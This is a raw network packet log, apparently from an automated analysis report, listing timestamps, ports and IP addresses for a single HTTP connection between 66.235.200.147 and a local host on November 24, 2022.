Nov 24, 2022 13:27:53.067219973 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.067239046 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.067256927 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.067342043 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.068065882 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.068087101 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.068106890 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.068128109 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.068149090 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.068186998 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.068274975 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.068952084 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.068979979 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.069000006 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.069026947 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.069056034 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.069089890 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.069164991 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.078011990 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.078061104 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.078103065 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.078279972 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.081146002 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.081192017 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.081235886 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.081306934 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.081351995 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.081429005 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.081557035 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.081604958 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.081646919 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.081878901 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.081921101 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.081923962 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.081964970 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.082006931 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.082051039 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.082093954 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.082103014 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.082135916 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.082176924 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.082279921 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.082645893 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.082678080 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.082751036 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.082765102 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.082794905 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.082835913 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.082899094 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.082900047 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.082948923 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.082974911 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.082993031 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.083034992 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.083076954 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.083117962 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.083137035 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.083467960 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.083511114 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.083556890 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.083599091 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.083636999 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.083641052 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.083683014 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.083698988 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.083724976 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.083765030 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.083767891 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.084167004 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.084222078 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.084252119 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.084268093 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.084281921 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.084294081 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.084311962 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.084337950 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.084342003 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.084371090 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.084400892 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.084482908 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.084541082 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.084660053 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.084764957 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.084795952 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.084826946 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.084856033 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.084856987 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.084881067 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.084886074 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.084914923 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.084944010 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.084969044 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.084971905 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.085025072 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.085747004 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.085777044 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.085808992 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.085839033 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.085849047 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.085866928 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.085885048 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.085896015 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.085925102 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.085928917 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.085953951 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.086014032 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.086620092 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.086667061 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.086698055 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.086720943 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.086745024 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.086766958 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.086790085 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.086812973 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.086946011 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.086994886 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.087553024 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.087675095 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.087707043 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.087737083 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.087769032 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.087788105 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.087798119 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.087836027 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.087841988 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.087865114 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.087893963 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.087908983 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.087946892 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.088702917 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.088735104 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.088764906 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.088793993 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.088799953 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.088824034 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.088836908 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.088855982 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.088886976 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.088932991 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.088983059 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.089049101 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.089557886 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.089589119 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.089620113 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.089648008 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.089658022 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.089678049 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.089699030 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.089709044 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.089739084 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.089749098 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.089768887 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.089822054 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.090491056 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.090528965 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.090557098 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.090589046 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.090590954 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.090619087 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.090648890 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.090662956 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.090677977 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.090692997 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.090708017 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.090905905 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.091442108 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.091476917 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.091510057 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.091531038 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.091542959 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.091573954 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.091603994 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.091614962 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.091633081 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.091643095 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.091665030 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.092185020 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.092406988 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.092439890 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.092472076 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.092504978 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.092530966 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.092535973 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.092555046 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.092566013 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.092596054 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.092624903 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.092649937 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.092694044 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.093319893 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.093352079 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.093416929 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.093579054 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.093610048 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.093641043 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.093671083 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.093693018 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.093699932 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.093723059 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.093745947 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.093775988 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.093791962 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.093827963 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.094470978 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.094511986 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.094533920 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.094552994 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.094568968 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.094571114 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.094592094 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.094600916 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.094609022 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.094646931 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.094664097 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.094722033 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.095455885 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.095477104 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.095580101 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.098208904 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.098232031 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.098249912 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.098268032 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.098287106 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.098305941 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.098310947 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.098323107 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.098340034 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.098340034 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.102057934 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.102078915 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.102101088 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.102119923 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.102145910 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.102185011 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.102225065 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.102243900 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.102263927 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.102282047 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.102289915 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.102297068 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.102310896 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.102324009 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.102344036 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.102375984 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.103149891 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.103168964 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.103189945 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.103209019 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.103212118 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.103225946 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.103246927 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.103247881 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.103266954 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.103285074 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.103293896 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.103318930 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.104109049 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.104131937 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.104150057 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.104168892 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.104188919 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.104190111 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.104207039 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.104226112 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.104229927 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.104244947 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.104274035 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.105077028 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.105096102 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.105115891 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.105134964 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.105145931 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.105151892 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.105159998 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.105170965 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.105189085 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.105206966 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.105209112 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.105237961 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.105823994 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.105843067 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.105861902 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.105875969 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.105880976 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.105900049 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.105906010 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.105918884 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.105937004 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.105947018 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.105951071 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.105987072 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.106503963 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.106524944 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.106544971 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.106563091 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.106581926 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.106589079 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.106601000 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.106611013 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.106620073 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.106628895 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.106638908 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.106656075 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.106662989 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.106676102 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.106730938 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.107364893 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.107423067 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.107556105 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.107575893 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.107594967 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.107613087 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.107631922 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.107637882 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.107650995 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.107669115 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.107687950 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.107692003 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.107692003 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.107706070 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.107728004 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.108311892 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.108331919 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.108350039 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.108371973 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.108391047 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.108392954 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.108408928 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.108422995 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.108428955 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.108442068 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.108445883 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.108465910 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.108474016 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.108484030 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.108503103 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.108531952 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.108562946 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.109180927 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.109201908 CET	80	49702	66.235.200.147	192.168.2.4
